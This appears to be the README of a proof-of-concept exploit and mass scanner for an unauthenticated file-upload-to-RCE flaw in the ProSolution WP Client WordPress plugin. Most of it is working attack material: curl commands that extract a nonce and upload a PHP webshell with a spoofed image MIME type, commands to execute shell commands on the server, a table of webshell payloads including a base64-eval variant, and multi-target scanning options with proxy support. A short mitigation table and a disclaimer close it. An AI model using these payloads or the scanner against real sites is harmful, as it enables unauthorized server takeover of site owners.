
针对ProSolution WP Client中未经认证的任意文件上传和远程代码执行漏洞(CVE-2026-2942)的自动扫描器。支持多线程扫描、MIME欺骗、shell验证和代理支持,用于渗透测试。
插件: prosolution-wp-client
受影响版本: <= 1.9.9
漏洞类型: 未认证任意文件上传 → 远程代码执行
风险等级: 🔴 严重 (CVSS 9.8)
前置条件: 包含[prosolfrontend]短代码的公开页面
ProSolution WP Client 插件的 proSol_fileUploadProcess AJAX 动作,
检查上传文件的 MIME 类型,但不验证扩展名。
攻击者可以将 .php 文件伪装成 image/jpeg MIME 类型发送,
从而在无需身份验证的情况下向服务器上传 webshell。
[prosolfrontend] 短代码页面
│
▼
1. prosolObj.nonce → 从公开页面获取(无需认证)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME 欺骗
│
▼
3. 保存为 /wp-content/uploads/prosolwpclient/[random].php
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → 未认证 RCE ✓
⚠️ 免责声明: 本 PoC 仅用于教育及防御性安全研究。 仅可在您拥有或获得明确书面授权的系统上使用。
prosolution-wp-client 插件已激活(版本 <= 1.9.9)[prosolfrontend] 短代码的已发布 WordPress 页面访问任何包含 [prosolfrontend] 短代码的公开页面,
并从源代码中提取 prosolObj.nonce 值:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "提取的 nonce: $NONCE"
在源代码中寻找如下结构:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
使用 image/jpeg Content-Type 发送 .php 文件:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
预期响应:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"及"rename_status": true→.php文件成功保存。
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # 步骤 3 中的 newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
预期输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ 未认证 RCE 已达成。
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
WordPress 根目录/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell 在此
[*] 3 个目标 | ProSolution 文件上传 | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
新文件名 : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] 命令输出: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
已上传 : 1 █
已阻止 : 1 █
超时 : 1 █
───────────────────────────────────────────────
上传的 shell 列表 → uploaded.txt
───────────────────────────────────────────────
uploads/ 目录的 .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
本工具及 PoC 仅适用于授权系统,教育目的以及渗透测试范畴。
在未授权系统上使用,违反土耳其刑法第 243-245 条以及国际网络犯罪法律,构成犯罪。
开发者不对因滥用本工具而产生的任何法律责任负责。
MIT 许可证 — 仅限教育与研究用途。
| 参数 | 简写 | 说明 | 默认值 |
|---|
--url | -u | 单个目标 URL | — |
--list | -l | 目标列表文件 | — |
--threads | -t | 线程数 | 10 |
--output | -o | 输出文件 | uploaded.txt |
--shell-name | — | 上传的文件名 | shell.php |
--shell-type | — | Shell 类型 | system |
--verify | — | 上传后测试 RCE | False |
--verify-cmd | — | 验证命令 | id |
--proxy | — | 代理 URL | — |
--timeout | — | 请求超时(秒) | 10 |
| 类型 | Payload | 说明 |
|---|
system | <?php system($_GET["cmd"]); ?> | 基础系统命令 |
passthru | <?php passthru($_GET["cmd"]); ?> | 原始输出 |
exec | <?php echo exec($_GET["cmd"]); ?> | 静默执行 |
assert | <?php assert($_POST["cmd"]); ?> | POST 方式 eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 混淆 |
full | shell_exec + system + exec 回退 | 全功能 Shell |
| 状态 | 说明 |
|---|
★ UPLOADED | Shell 已成功上传 |
✓ RCE OK | Shell 已验证,命令可执行 |
- BLOCKED | 服务器阻止了 PHP 扩展 |
~ TIMEOUT | 连接超时 |
~ CONN_ERR | 连接错误 |
! HTTP_ERR | HTTP 错误代码 |
| 措施 | 实施方式 |
|---|
| 禁止 PHP 执行 | 在 uploads/ 目录中添加 .htaccess |
| 插件更新 | 升级至 > 1.9.9 版本或移除 |
| 扩展名白名单 | 服务端仅允许指定扩展名 |
| MIME 验证 | 使用 finfo_file() 检测真实内容 |
| WAF 规则 | 阻止 .php 文件的上传请求 |